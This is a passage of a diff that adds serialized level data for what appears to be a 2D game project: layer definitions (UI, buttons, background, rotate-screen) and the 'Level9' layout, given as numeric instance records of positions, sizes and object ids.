+ 0,
+ 642.818359375,
+ 188.885498046875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2779,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3681.076171875,
+ 1180.294555664063,
+ 0,
+ 182.38720703125,
+ 188.885498046875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2801,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3924.29150390625,
+ 1113.486083984375,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2592,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3924.29150390625,
+ 1114.486083984375,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2655,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4117.30859375,
+ 1023.171630859375,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2730,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4117.30859375,
+ 1024.171630859375,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2731,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4117.42138671875,
+ 1023.058837890625,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2732,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4117.42138671875,
+ 1024.058837890625,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2741,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4310.4384765625,
+ 932.744384765625,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2742,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4310.4384765625,
+ 933.744384765625,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2795,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4732.57275390625,
+ 972.7444458007812,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2796,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4965.01904296875,
+ 972.7444458007812,
+ 0,
+ 557.892578125,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2797,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4503.58984375,
+ 842.4299926757812,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2799,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4503.58984375,
+ 843.4299926757812,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2800,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4192,
+ 745,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2848,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4192,
+ 746,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2849,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4040,
+ 636,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2850,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4040,
+ 637,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2854,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4318,
+ 544,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 2855,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4318,
+ 545,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2857,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4447,
+ 1419,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5894,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4153,
+ 1568,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5895,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 405,
+ -65,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 5903,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2955,
+ 1213,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2813,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2582,
+ 1213,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5922,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3707,
+ 1213,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5923,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3334,
+ 1213,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5924,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4085,
+ 1213,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5925,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4464.544921875,
+ 1213.47021484375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5926,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5216.544921875,
+ 1213.47021484375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5928,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4843.544921875,
+ 1213.47021484375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5929,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5594.544921875,
+ 1213.47021484375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5930,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 313.99658203125,
+ 1212.005249023438,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5927,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -59.00341796875,
+ 1212.005249023438,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5931,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 691.99658203125,
+ 1212.005249023438,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5932,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1071.99658203125,
+ 1213.005249023438,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5933,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1823.99658203125,
+ 1213.005249023438,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5934,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1450.99658203125,
+ 1213.005249023438,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5935,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2201.99658203125,
+ 1213.005249023438,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5936,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2815.8046875,
+ 1647.620361328125,
+ 0,
+ 6044,
+ 628,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 5937,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2801,
+ 1397,
+ 0,
+ 6110,
+ 261,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 2885,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3952.650146484375,
+ 706.617919921875,
+ 0,
+ 92,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 546,
+ 6619,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3951.650146484375,
+ 897.5985107421875,
+ 0,
+ 111,
+ 388.7099609375,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5011876225471497,
+ 0,
+ 0,
+ []
+ ],
+ 547,
+ 6620,
+ [],
+ [],
+ [
+ 0,
+ "pega",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 43.81475830078125,
+ 830.4193725585938,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6661,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4319.8173828125,
+ 490.7322692871094,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6711,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 363914205199689,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 628979822520500,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 2893,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 2894,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 2895,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 2896,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 400.8306884765625,
+ 60.65525054931641,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 5904,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 387.8306884765625,
+ -2.344741821289063,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 5905,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 26.8306884765625,
+ 20.65525817871094,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 5906,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 118.8306884765625,
+ 23.65525817871094,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 5907,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 74.8306884765625,
+ 23.65525817871094,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 5908,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 405.8309936523438,
+ 22.65500068664551,
+ 0,
+ 115.7886047363281,
+ 34.83071899414063,
+ 0,
+ 0,
+ 1,
+ 0.5365853905677795,
+ 0.5135135054588318,
+ 0,
+ 0,
+ []
+ ],
+ 523,
+ 2163,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 408.5,
+ 240,
+ 0,
+ 893,
+ 586,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 2892,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 861,
+ -112,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 6607,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 431724196092338,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 917428812470422,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level9",
+ 6000,
+ 1500,
+ false,
+ "Gameplay1",
+ 118239880674561,
+ [
+ [
+ "fondo",
+ 0,
+ 810279343016721,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -26,
+ -17,
+ 0,
+ 10112,
+ 1814,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 2214,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 718560190432532,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 2215,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 6014,
+ 839,
+ 0,
+ 40,
+ 800,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 2504,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -19,
+ 746.5,
+ 0,
+ 40,
+ 1509,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 2643,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -11,
+ -4,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
